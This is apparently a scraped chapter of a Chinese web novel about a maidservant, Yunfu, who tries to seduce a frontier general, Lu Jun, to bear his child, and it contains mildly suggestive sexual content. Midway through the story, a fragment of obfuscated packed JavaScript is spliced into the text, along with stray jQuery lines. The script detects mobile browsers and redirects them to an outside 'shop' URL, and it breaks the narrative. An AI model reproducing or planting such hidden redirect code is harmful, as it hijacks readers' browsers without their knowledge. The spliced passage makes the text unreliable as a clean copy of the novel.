默认冷灰
24号文字
方正启体

7.第七章

作者:草灯大人本书字数:K更新时间:
    第七章


    云芙窝窝囊囊地干着大事。


    实际上,云芙并非悍不畏死。


    她不过是想早点成事,然后回永州去。


    云芙本来懵懂无知,但她见过张妈妈送的避火图纸,知道那事物是怎么回事。


    就好比她夏季中了暑气,祖母都会取刮痧板,揉动她的手臂,帮她将那些燥血,捋于指尖,再扎针放血。


    如此放了血,泻掉体内的燥火,暑气就解了。


    因此,云芙看到那直戳戳立着的烧火棍,立马懂了原委。


    原来这就是秋娘所说的鹿血酒的效用,难怪秋娘看她的眼神略带同情。


    云芙凑近了才知,陆筠生得人高马大,身上的二两肉也确实狰狞。


    堪比灶膛里用来挑火的柴薪了!


    云芙莫名有点发毛,但她又不敢看陆筠的眼色,只能凭直觉行事。


    奈何小姑娘下手没轻没重,虽隔着柔滑的衣布,可手指僵硬,擒人的时候,像是赤手空拳入笼子抓鸡,只知蛮干,比武夫还强横,半点不得意趣。


    陆筠头痛欲裂,手背青筋微颤,肩背亦紧绷着,如同蛰伏了一只能徒手撕人的凶兽。一股沸腾的燥风在他胸臆间冲撞,竟也逼得他火气上涌。


    陆筠微眯长目,猛地扣住了她软如醍醐的腕骨,冷道:“想死么?”


    云芙隐约觉出陆筠的不悦。


    可明明,他很畅快,也很精神啊……


    云芙不懂男人的心思,但她想活着,不敢再冒渎陆筠,急忙松手。


    那种受人挟持骤然消失。


    陆筠的嶙峋喉结微滚,忍下莫名的渴盼。


    云芙生怕陆筠又起杀心,她老实地后撤一点,低头认错:“将军,我错了,您别杀我……”


    这样一句哀求,幽幽的,带着怨气。


    好似陆筠不识抬举,好心帮忙不要,还想杀她这个大善人。


    陆筠眉峰轻拧,终是松了手,厉声:“滚出去!”


    见他没动手,云芙大喜过望,连忙跑远。


    可不等云芙离帐,小姑娘又期期艾艾回头,对陆筠道:“将军,外头天寒地冻,在外睡一夜,定会冻死的。奴婢能不能挨着您的帐角睡?我夜里不打鼾,也不吵人,不会扰您安睡。”


    陆筠不答话,顺手熄了烛灯。


    见状,云芙权当陆筠默许了。


    云芙没再矫情,径直找了个宽敞的帐隅角落,闭目入睡。


    夜深的时候,炭盆熄火,主帐变冷。


    云芙的位置离门帘最近,寒风也欺软怕硬,硬是透过帘缝往她的肩背吹。


    云芙冻得受不了,又不敢发出太大的动静。


    她睁开惺忪睡眼,环顾四周,看到不远处堆着一件逶迤于地的狐毛大氅。


    云芙隐约记起,那是陆筠披过的外氅,看起来毛色油润鲜亮,乌沉沉的,很暖和。


    原本好好挂在屏风上,怎就滑下来了呢?


    既滑下来,那不小心滑落到她身上,也是情有可原的事吧?


    云芙做贼心虚地挪近一点,用手指去勾那一件狐氅。


    等大氅上身,云芙喟叹出一口气。


    她珍惜地挨着狐毛蹭了蹭,皮草好滑,好暖和,还有一股浅淡的青竹味儿。


    云芙不敢玷污陆筠的外衣,即便取暖,也只敢扯袖摆遮一遮小肚子。


    祖母说过,盖了肚脐眼就不怕受风了。


    云芙刚想躺下入睡,一偏头,又见远处的矮榻滑下一大块兽皮被子。


    她抻起脖颈,瞥去一眼,原是陆筠身上的被褥揭开大片,没盖严实。


    云芙心生无奈,当真是旱的旱死,涝的涝死。她在这里受冻,陆筠竟还能夜里掀被。


    云芙本不想管陆筠,但又想着,陆筠如今成了她的金主出路,金贵得很,又是戍边守城的战神将军,还是别生病了吧?


    思及至此,云芙膝行几步,悄悄靠近。


    她借着月光去拾那一床兽皮软被,小心盖到陆筠的肩侧。见他的手脚全掩在被中,云芙这才满意回到地毯上,心安理得地卷去狐氅一角。


    翌日清晨,陆筠从睡梦中醒来。


    帐外,雪雾疏淡,日光熹微。


    第一缕阳光照入帐中,被云芙窈窕的身子,遮去了大半。


    许是这两天受累,云芙睡熟了,没能尽早起身。


    眼下,她小狗似的蜷缩身子,卷进那一件厚实蓬松的黑狐大氅里取暖。


    女孩的睡相不好,莹润乌发揉得凌乱,衣襟微敞,露出胜雪肤光,颈后还有一截窄细的肚兜系带,松松垮垮缠着那一颗饱满圆润的骨珠,仿佛破体而出的血梅花枝。


    尽管云芙枕着柔软的狐裘入睡,脸上皮肉仍是脆弱,还压出了几道红痕……难怪昨夜他不过一握手腕,就有指痕留在女子软嫩的皮肤上。


    陆筠收回寒漠的视线,不再看小羊羔子似的云芙。


    他不过伸手一动,云芙竟被那点微末的骚动唤醒。


    云芙茫然睁开眼,环顾四周。


    在看到陆筠的时候,小丫头又嘴角上翘,洋溢着热情的笑容,毫无芥蒂地唤他:“将军!”


    陆筠一压薄薄眼皮,神色清冷。


    ……聒噪。


    云芙却不顾陆筠的冷淡,她一边整理身上衣裙,一边小心叠好那一件狐毛大氅,奉到陆筠面前。


    “昨夜见将军的衣裳坠地染脏,本想帮您清洗,可更深露重,不好出帐,我抱着大氅等到天明,不知不觉就睡去了。”


    她给自己“偷衣”一事,找了个合理的说辞。


    随后又怕陆筠责怪,赶紧岔开了话题。


    “将军,您再留奴婢一段时日吧?我不会打扰您务公的,平时给口饭吃就成,我不挑拣。而且我能干的活可多了,军中也得生火吧?我可以留下帮忙烧灶!我的厨艺虽差了点,熬粥还是没问题的!”


    “将军……”


    云芙的脑子快速转着,她又想到那些避火图纸上的事。


    虽不知陆筠最后是怎么压下的私.欲……


    而那个尺寸也确实有些惊人,和云芙完全不契合。


    但没关系,她不嫌弃。


    于是,云芙毛遂自荐地道:“我真的很能干!什么都可以做的……就是、就是昨夜那种事,我也可以的,只要能帮到将军就好。”


    云芙竭力体现自己的价值,叽叽喳喳一通叫唤,吵得人脑袋疼。


    陆筠深吸一口气,闭目唤人:“徐齐光!”


    今日还要练兵,徐齐光早在帐外候着了,他不敢叨扰,无非是知道云芙昨夜也宿在主帐之中。


    果然,帐外响起一道清越的年轻男声:“嗳,末将在!”


    云芙闻声,脊背一凛,可怜巴巴地望向陆筠。


    陆筠薄唇微抿,良久才道:“……送人回将军府。”


    云芙愣在原地,思忖好久才反应过来。送她回将军府,不是永州?这是要留下她的意思?


    云芙大喜过望,讨好一笑:“将军,您真是个大好人!”


    帐外的徐齐光听到女孩欢喜的一声高呼,不由愣住。


    等会儿,这话昨日云芙是不是也对他说过?


    -


    云芙这次回将军府,可算是衣锦还乡。


    张妈妈、紫鹃、琴雯全守在府门外翘首以盼,待看到那一批披坚执锐的兵丁靠近,悬着的心总算落回了肚子里。


    张妈妈高兴云芙有这等大能耐,竟能说动那位天人一般的陆大将军。


    紫鹃和琴雯则是满心妒意,虽说她们承了云芙的情,也能留在将军府中,但怎么看都是这个外院的粗使丫鬟先得了陆大爷的青眼,如何让人不愤恨呢?


    最讨厌的人,如今攀了高枝,成了凤凰,岂不是说明,她们的确样样不如人?


    紫鹃和琴雯愁肠百转,张妈妈倒挺高兴。


    张妈妈上下打量了云芙两眼,小姑娘被瞧着也不生怯,还娇滴滴地朝她笑。


    张妈妈心中满意,这般喜面人的模样,才能讨人欢心嘛。


    张妈妈悄声问:“你和大爷,可有成事?”


    云芙一听就知道张妈妈说的是什么事,她尴尬一笑:“没能成事,大爷好似看不上奴婢……”


    此言一出,竖起耳朵偷听的紫鹃,顿时噗嗤一声讥笑,翻了个白眼,扭腰走了。


    张妈妈怜爱地拍了拍云芙的手:“这才没几日呢,急什么,早晚的事。你好好笼络大爷,早日生子才是正理儿!”


    云芙从善如流地点头:“嗳,我都听妈妈的。”


    另一边,王管事双手对抄在袖中,悄声同徐齐光打听:“大将军当真让这个丫头留下来了?”


    徐齐光同王管事有些交情,平时也会一同吃酒喝肉,有什么消息自然会互通有无。


    徐齐光一脸凝重地道:“那还能有假?老王,咱们多年好哥俩,我给你透个底儿,这还是头次,将军留人夜宿帐中,可想而知,将军待她的喜爱。好生关照着,保不准是府上小夫人呢。”


    徐齐光没把赵家当回事,在他眼中,陆筠和赵馨怡那门亲事早晚得解了。


    而云芙是头一个能近陆筠身的女子,日后前途无量,虽说当妻是不配,但这般身份,做个婢妾还是没问题的。既是大将军的宠妾,可不得好生关照一番?


    徐齐光这般提点一句,王管事的心思立马活泛开了,他感激涕零地拍了下徐齐光的肩膀,“成啦,得你一句提点,晚间老哥哥请你喝酒!”


    -


    云芙也是第一次逛将军府这般大的宅邸。


    明明只是五进的宅子,却比永州的老宅还要富丽堂皇。


    王管事指点云芙,哪处是陆筠平时用来阅卷批文的公廨,哪处是招待客人的客房茶歇。


    最终,王管事为了关照云芙,还将三个小丫鬟的屋舍安排在陆筠的寝院后头。


    通房丫鬟的职责便是伺候家中大爷,陆筠没回将军府,紫鹃、琴雯、云芙都闲了下来。


    幽州风沙大,又天寒地冻,四野飞雪。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300367|198565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >紫鹃、琴雯都不大乐意外出,只窝在房里煮茶吃、嗑香瓜子闲谈。


    云芙倒是能找点事做。


    她没食言,给赤兔送了好吃的萝卜,还用温水帮它擦洗一遍泥泞的身子。


    隆冬天里,能用温水洗身是一件很舒爽的事,对于马驹来说,这简直就是老天馈赠。


    等云芙帮它擦干鬃毛后,赤兔这些时日积累的气性儿便消散得一干二净,一人一马和好如初,赤兔又亲昵地顶了顶云芙的后背,同她撒娇。


    又过了两日,府上送来了两名斥候伤兵。


    一个叫墨川,一个叫阿栀。


    听说是一双兄妹,平日负责侦查敌情,任斥候之职。


    云芙没事做,便跟着郭如山一起帮忙照顾伤员,有时还和灶房的厨子一起做饭。


    王管事对永州来的奴仆很客气,吃喝上并不苛待,只要不是倒卖公厨的食材,便随他们折腾。


    这天,云芙揉了几笼屉热气喧腾的羊肉包子,她给张妈妈、王管事送去一些,又给墨川、阿栀送了几个。


    阿栀已经回前线营帐继续侦查敌情了,墨川用另外一只没受伤的手,把一支鹰哨递给云芙。


    “阿栀送你的,说是日后你有难,可以用鹰哨召出她的鹰隼,她得到消息,便会赶来救你。”


    云芙吃惊地看了一眼手上鹰哨,不过是送了几次包子,帮阿栀擦洗过两回,怎么就得她这样大的恩情?


    而且阿栀才十七岁,瞧着冷冰冰的,一言不发。


    之前云芙帮手臂受伤的阿栀洗澡,问她水会不会太烫,她也不说话,云芙还以为她很讨厌自己呢。


    云芙感激地道:“还请墨川兄弟,替我向阿栀姑娘道个谢。”


    -


    又过了一个月,三月了。


    王管事收到陆筠凯旋的消息。


    想来是塞外战事暂时稳定,陆筠便可率军回城了。


    这是天大的喜事,莫说王管事,便是张妈妈、紫鹃、琴雯她们也高兴起来。


    这两天,紫鹃和琴雯频频外出,买些抹发的香油、涂脸的脂膏。


    她们见云芙老神在在,根本不外出,心里好奇不已,又看云芙脸颊虽粗糙了点,但皮肤白皙,一点都不泛黄,更是惊讶。


    紫鹃平时涂抹一钱银子的珍珠膏都没云芙白嫩,她笃定云芙有什么保养的秘方,忍不住去问:“云芙,你平日都搽什么膏粉?”


    云芙被紫鹃问得一愣。


    抹脸的霜膏多贵啊,最便宜的花膏都要十多文,她连冻疮膏都舍不得买,又怎会花钱买这个?


    闻言,云芙茫然摇头:“没有啊,我从不敷粉擦膏。”


    这话不就是说自己天生丽质么?臭不要脸!


    紫鹃被她气得不轻,咬唇道:“你这个人惯会装相!”


    说完,她朝云芙翻了个白眼,扭腰走了。


    云芙怔在原地,不知紫鹃又发什么疯。


    但云芙没空搭理她,王管事给她派了活计,要她帮忙打扫陆筠的寝房。


    说是打扫,其实也就是想让云芙先熟悉陆筠夜里休憩的寝房。


    在王管事眼里,云芙可是有大造化的丫鬟,保不准日后也会宿在陆筠房中,当然要提前了解屋内的陈设。


    云芙提着一桶热水,捏着一方帕子,走进陆筠所在的屋舍。


    王管事环顾四周,指了指衣橱旁边的那个紫檀木箱笼,道:“除了这个箱子,旁的家具都用水擦洗一番。”


    云芙怕损坏贵物,到时候把她卖了都赔不起,她事先打听几句,想知道箱子里都藏着什么珍品。


    “王管事,这箱子贵重,可是藏了宝物?”


    王管事:“这是赵家二小姐送来的箱笼,将军命人放着,不许旁人打开。”


    这样说,云芙就懂了。


    她几乎是瞬间记起,陆筠还有一门自小就定下的娃娃亲。


    听说陆筠极其看重那位赵家二小姐赵馨怡,二人是青梅竹马的情谊,而陆筠为了同她完婚,年近二十七八岁,都不曾收过妾室、通房。


    若非陆筠年近而立,膝下尚无子嗣,老夫人又怎会急火攻心到寻她们来幽州,为陆筠生儿育女?


    云芙想到前段时间,陆筠待她的狠戾与冷漠,她莫名有点尴尬与难堪……也懂了陆筠为何这般淡漠疏离,高不可攀。


    想来是人不对。


    若他对着赵馨怡,定不会这样不近人情。


    虽说大户人家三妻四妾很是正常,但云芙并没有夺人夫婿的喜好。


    她不过是逼不得已,不过是为了谋财,这才引诱陆筠行房生子。


    云芙不会破坏陆筠与赵馨怡之间的感情。


    她心知肚明,自己只是一个借种生子的通房丫鬟。


    待孩子生下,拿了钱,她就会走的……


    云芙心中忧虑。


    她得想想法子,快点成事了。


    不然等到陆筠和赵馨怡完婚那日,她的处境只会比现在难堪百倍。


    她不想如此。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)